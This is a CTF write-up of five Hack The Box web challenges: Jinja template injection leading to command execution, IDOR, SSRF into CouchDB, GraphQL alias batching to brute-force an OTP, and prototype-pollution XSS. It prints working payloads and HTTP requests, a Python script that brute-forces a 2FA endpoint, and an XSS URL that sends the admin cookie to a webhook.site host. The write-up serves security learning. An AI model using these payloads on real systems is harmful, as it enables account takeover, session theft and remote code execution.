# Description I participated in this CTF competition with Heroes Cyber Security (HCS), the cybersecurity community team from Institut Teknologi Sepuluh Nopember (ITS). This write-up covers all Website Exploitation challenges. All of the challenges were tackled using black-box testing methods only, without any source code access or internal hints. We managed to secure 2nd place out of 1322 teams. Special thanks to @HyggeHacylon and @rootkids, who participated with me. Also, thanks to Hack The Box for organizing this event. [toc] # JinjaCare (Very Easy) > Jinjacare is a web application designed to help citizens manage and access their COVID-19 vaccination records. The platform allows users to store their vaccination history and generate digital certificates. They've asked you to hunt for any potential security issues in their application and retrieve the flag stored in their site. ## TL;DR Jinja SSTI to RCE. ## Solve We've got a website, that we could do a register. ![image](https://i.imgur.com/QOWYRNg.png) After that, we tried to input some test payload `{{7*7}}` one the fullname column. ![image alt](https://i.imgur.com/T3GmjMj.png) Check at our dashboard, there a feature to download the certificate. ![image alt](https://i.imgur.com/12Zt8HJ.png) Download the certificate, then we could see the payload is working that the fullname is changed to `49`. ![image alt](https://i.imgur.com/bU6l5Sw.png) Then we use this payload to listing the directory. ``` {{config.__class__.__init__.__globals__['os'].popen('ls /').read()}} ``` ![image alt](https://i.imgur.com/SIOj3xW.png) We see the flag, and get it. ``` {{config.__class__.__init__.__globals__['os'].popen('cat /fla*').read()}} ``` ![image alt](https://i.imgur.com/qJsPiO7.png) ``` HTB{v3ry_e4sy_sst1_r1ght?_7e648e055a049c36e9ccc5e2c7811db5} ``` # NeoVault (Very Easy) >Neovault is a trusted banking application that allows users to effortlessly transfer funds to one another and conveniently download their transaction history. We invite you to explore the application for any potential vulnerabilities and uncover the flag hidden within its depths. ## TL;DR IDOR. ## Solve We need to register to see the API endpoint. ![image alt](https://i.imgur.com/MsihtPv.png) After that, you will notice we've got a transfer transaction from user `neo_system`. ![image alt](https://i.imgur.com/hXygWS2.png) By using this API endpoint, we could get the `_id`. ``` GET /api/v2/auth/inquire?username=neo_system HTTP/1.1 Host: 94.237.59.174:38845 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: */* Referer: http://94.237.59.174:38845/dashboard/transfer Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODE2NCwiZXhwIjoxNzUxMDgxNzY0fQ.HlxKChYffj4JD6YFkVUgAVsU6mLRnDmPACHz8Hg4V18 Connection: close ``` ![image alt](https://i.imgur.com/JL1vaku.png) Then, i found the v1 endpoint for downloading transactions history like this. ``` POST /api/v1/transactions/download-transactions HTTP/1.1 Host: 94.237.59.174:38845 Content-Length: 4 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://94.237.59.174:38845 Referer: http://94.237.59.174:38845/dashboard/transactions Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODY5MiwiZXhwIjoxNzUxMDgyMjkyfQ.3t_U6bIbxStwj9eE286TIaF1YkqveIlA4euKcaEkwQ0 Connection: close {} ``` ![image alt](https://i.imgur.com/VEr5oXc.png) We use the `_id` of `neo_system` user to download the transactions history. And we've got the history there a user named `user_with_flag`. ![image alt](https://i.imgur.com/1KiNJVn.png) By using the `/api/v2/auth/inquire?username=` endpoint, we've could obtain the `_id` of user `user_with_flag` ![image alt](https://i.imgur.com/IrrW5GW.png) Then create this request, to obtain the `user_with_flag` transactions history. ``` POST /api/v1/transactions/download-transactions HTTP/1.1 Host: 94.237.59.174:38845 Content-Length: 43 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://94.237.59.174:38845 Referer: http://94.237.59.174:38845/dashboard/transactions Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjY4NWY1NTA4NGZkMmUyN2VmMTg2MjVkNSIsImlhdCI6MTc1MTA3ODY5MiwiZXhwIjoxNzUxMDgyMjkyfQ.3t_U6bIbxStwj9eE286TIaF1YkqveIlA4euKcaEkwQ0 Connection: close { "_id": "685f54584fd2e27ef18625cc" } ``` ![image alt](https://i.imgur.com/OQRf32i.png) ``` HTB{n0t_s0_3asy_1d0r_42de8d73f2536a5e978b9183e02ca7cb} ``` # CitiSmart (Easy) > Citismart is an innovative Smart City monitoring platform aimed at detecting anomalies in public sector operations. We invite you to explore the application for any potential vulnerabilities and uncover the hidden flag within its depths. ## TL;DR Hidden endpoint to SSRF. ## Solve We've got a login page of the website. ![image alt](https://i.imgur.com/bo5Kzqu.png) After that, we do some inspect on the javascript file. ![image alt](https://i.imgur.com/zBGgXYn.png) We make a request at the endpoint. ``` GET /api/dashboard/metrics/ HTTP/1.1 Host: 94.237.54.192:40907 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 If-None-Match: W/"1f2-QM+DzI0DmIlXc8i/6FUgt9TI7S8" Connection: close ``` But we've got a response like this. ![image alt](https://i.imgur.com/TkEq2XH.png) Which is we need to do login, to execute those endpoints. The unique case is, there some broken authentication likely that even our password is wrong but username contains admin email, we still get the JWT Token. ![image alt](https://i.imgur.com/R04Bhnn.png) At the `/api/dashboard/endpoints/`, we see there are like 4 endpoints. After that we do some little scanning and found there CouchDB service at port `5984`. We make a request like this. ``` POST /api/dashboard/endpoints/ HTTP/1.1 Host: 94.237.54.192:40907 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbiI6ZmFsc2UsImFkbWluIjpmYWxzZSwiaWF0IjoxNzUxMDkxNTM3LCJleHAiOjE3NTEwOTUxMzd9.7h8SsmlsKPbh22TXvbLon73ORnnahs0GeMKgfKvhhXI If-None-Match: W/"1f2-QM+DzI0DmIlXc8i/6FUgt9TI7S8" Connection: close Content-Type: application/json Content-Length: 66 { "url":"http://127.0.0.1:5984/citismart/FLAG?", "sector":"a" } ``` Then visit the `/api/dashboard/metrics/` to see the flag. ![image alt](https://i.imgur.com/xdXCT8w.png) ``` HTB{sm4rt_cit1_but_n0t_s3cur3_4bf0b2bde948bbf36d579b0820fe971d} ``` # SpeedNet (Easy) > Speednet is an Internet Service Provider platform that enables users to purchase internet services. We invite you to participate in our bug bounty program to identify any potential vulnerabilities within the application and retrieve the flag hidden on the site. For your testing, we have provided additional email services. Please find the details below: Email Site: `http://IP:PORT/emails/` Email Address: test@email.htb ## TL;DR Graphql aliases abuse lead to account takeover. ## Solve We've given the endpoints of emails. ![image alt](https://i.imgur.com/HkkZDVR.png) We tried to register the account with email `test@email.htb`. ![image alt](https://i.imgur.com/u86sdEZ.png) Then we do some query inspection at the graphql endpoint. ``` POST /graphql HTTP/1.1 Host: 94.237.57.211:45678 Content-Length: 91 Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImlhdCI6MTc1MTA5MzcyNSwiZXhwIjoxNzUxMDk3MzI1fQ.DSQSd4qVobZ305CeOxyCg6Hp30F1_QveRUWOl9iVQXg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://94.237.57.211:45678 Referer: http://94.237.57.211:45678/profile Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close { "query": "query IntrospectionQuery { __schema { types { name fields { name } } } }" } ``` We've got some interesting mutation that named `devForgotPassword`. ![image alt](https://i.imgur.com/ekziULP.png) Next, we do some little IDOR to leak the admin email for reset password. ``` POST /graphql HTTP/1.1 Host: 94.237.57.211:45678 Content-Length: 145 Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjIsImlhdCI6MTc1MTA5MzcyNSwiZXhwIjoxNzUxMDk3MzI1fQ.DSQSd4qVobZ305CeOxyCg6Hp30F1_QveRUWOl9iVQXg User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://94.237.57.211:45678 Referer: http://94.237.57.211:45678/profile Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close { "query": "query { userProfile(userId: 1) { id email firstName lastName username phoneNumber address plan planStatus trialEndDate } }" } ``` The admin email is obtained `admin@speednet.htb`. ![image alt](https://i.imgur.com/WQhr5K1.png) We do reset password on the admin account. ``` POST /graphql HTTP/1.1 Host: 94.237.120.202:37497 Content-Length: 98 Authorization: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://94.237.120.202:37497 Referer: http://94.237.120.202:37497/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close { "query": "mutation DevForgotPassword { devForgotPassword(email: \"admin@speednet.htb\") }" } ``` Got the reset token. ![image alt](https://i.imgur.com/6R7VNBI.png) Changed the password to `hacked`. ``` POST /graphql HTTP/1.1 Host: 94.237.120.202:37497 Content-Length: 119 Authorization: User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.6312.122 Safari/537.36 Content-Type: application/json Accept: */* Origin: http://94.237.120.202:37497 Referer: http://94.237.120.202:37497/login Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Connection: close { "query": "mutation { resetPassword(token: \"4ef9b7e8-ce20-46d1-9dc4-d43cd44b4e18\", newPassword: \"hacked\") }" } ``` We do login, but unfortunate got the OTP verification. ![image alt](https://i.imgur.com/IN8uXtA.png) After stuck long time, i tried to activate the OTP on the `test@email.htb` account, and there are 4 digits which is possible to brute. ![image alt](https://i.imgur.com/RTpK1yr.png) But the bad news is, we can't brute it because there are rate limitting request on the website. We got stuck again :joy: Then we look the reference, there are graphql alias query https://inigo.io/blog/defeating_controls_with_alias-based_query_batching That it's possible to brute it, by alias batching on the graphql endpoint. ![image alt](https://i.imgur.com/pDw9b8J.png) Next, we request to send the OTP. ![image alt](https://i.imgur.com/IPCzpv0.png) We build a automation script like this, that there will batching from 1-499, 500-999, and goes on. ```py=1 import httpx import argparse import time class Exploiter: def __init__(self, target: str): self.client = httpx.Client(base_url=target, timeout=10.0) def verify_token(self, token: str, start: int, end: int): query = "mutation {\n" for i in range(start, end + 1): otp = f"{i:04d}" query += f' verify{i}: verifyTwoFactor(token: "{token}", otp: "{otp}") {{\n' query += " token\n" query += " }\n" query += "}\n" return self.client.post("/graphql", json={"query": query}) def exploit(self): token = "e92533ce-f6b0-4d38-94c3-2692e6eafcff" step = 499 for start in range(1, 10000, step): end = min(start + step - 1, 9999) print(f"[+] Trying range: {start}-{end}") res = self.verify_token(token, start, end) if "token" in res.text and "GRAPHQL_VALIDATION_FAILED" not in res.text: print("[+] Possible match:") print(res.text) return time.sleep(1) # optional delay @staticmethod def parse_args(): parser = argparse.ArgumentParser(description="Exploit a GraphQL 2FA endpoint.") parser.add_argument("-t", "--target", required=True, help="Target base URL (e.g., http://host:port)") return parser.parse_args() if __name__ == "__main__": args = Exploiter.parse_args() exploiter = Exploiter(args.target) exploiter.exploit() ``` We've got the correct OTP. ![image alt](https://i.imgur.com/7dnjaID.png) Login as admin with the token. ![image alt](https://i.imgur.com/qXqHmmb.png) ``` HTB{gr4phql_3xpl01t_1n_a_nutsh3ll_cd416f6e9c20434fc2a859341ad4af81} ``` # Sattrack (Medium) > Welcome to the Sattrack Bug Bounty Invitational for Authorized Users! Sattrack is a premier platform dedicated to monitoring satellite data, exclusively available to our selected authorized partners. We invite you to participate in our limited bug bounty program, aimed at identifying and addressing any security vulnerabilities within our application. Your contributions are invaluable in helping us maintain the integrity and security of our services. You may use partner@rockyou.xyz:partn3r123 as a valid credentials. To ensure optimal site performance, we have established a dedicated support page at /report. Here, you can submit the URLs of any issues (non-security related) you encounter, and our admin team will promptly investigate and provide assistance. ## TL;DR Prototype Pollution XSS by JSON Escaping. ## Solve We've got the partner account, and we tried login. The interesting is we got the `/partner/share` endpoint that's likely exploitable since the reference is JSON Escaping. ![image alt](https://i.imgur.com/bTuHqCY.png) ![image alt](https://i.imgur.com/VxSrTaA.png) We even got the admin bot, so we sure this are some XSS challenge. ![image alt](https://i.imgur.com/tZSiVNd.png) Error message at the login is the key to do prototype pollution and using the `/partner/share` endpoint. By making this payload. ``` http://94.237.121.185:44578/login?message={%22__proto__%22:{%22JS_FILES%22:[%22/partner/share?type=\%22};alert()//%22]}} ``` The alert is fired :fire: . ![image alt](https://i.imgur.com/mAry1tv.png) Send the url payload like this to admin bot. ``` http://127.0.0.1/login?message={%22__proto__%22:{%22JS_FILES%22:[%22/partner/share?type=\%22};fetch(%27https://webhook.site/7bb0ffea-8d85-4450-929d-9388efa8e3a1?%27%25252Bdocument.cookie)//%22]}} ``` Got the admin token. ![image alt](https://i.imgur.com/HdSTpnq.png) Login with admin account. ![image alt](https://i.imgur.com/8j2yg4O.png) ``` HTB{cl13nt_s1d3_pp_4r3_d4ng3r0us_b9be715ac1a0e7abae138973117b053a} ```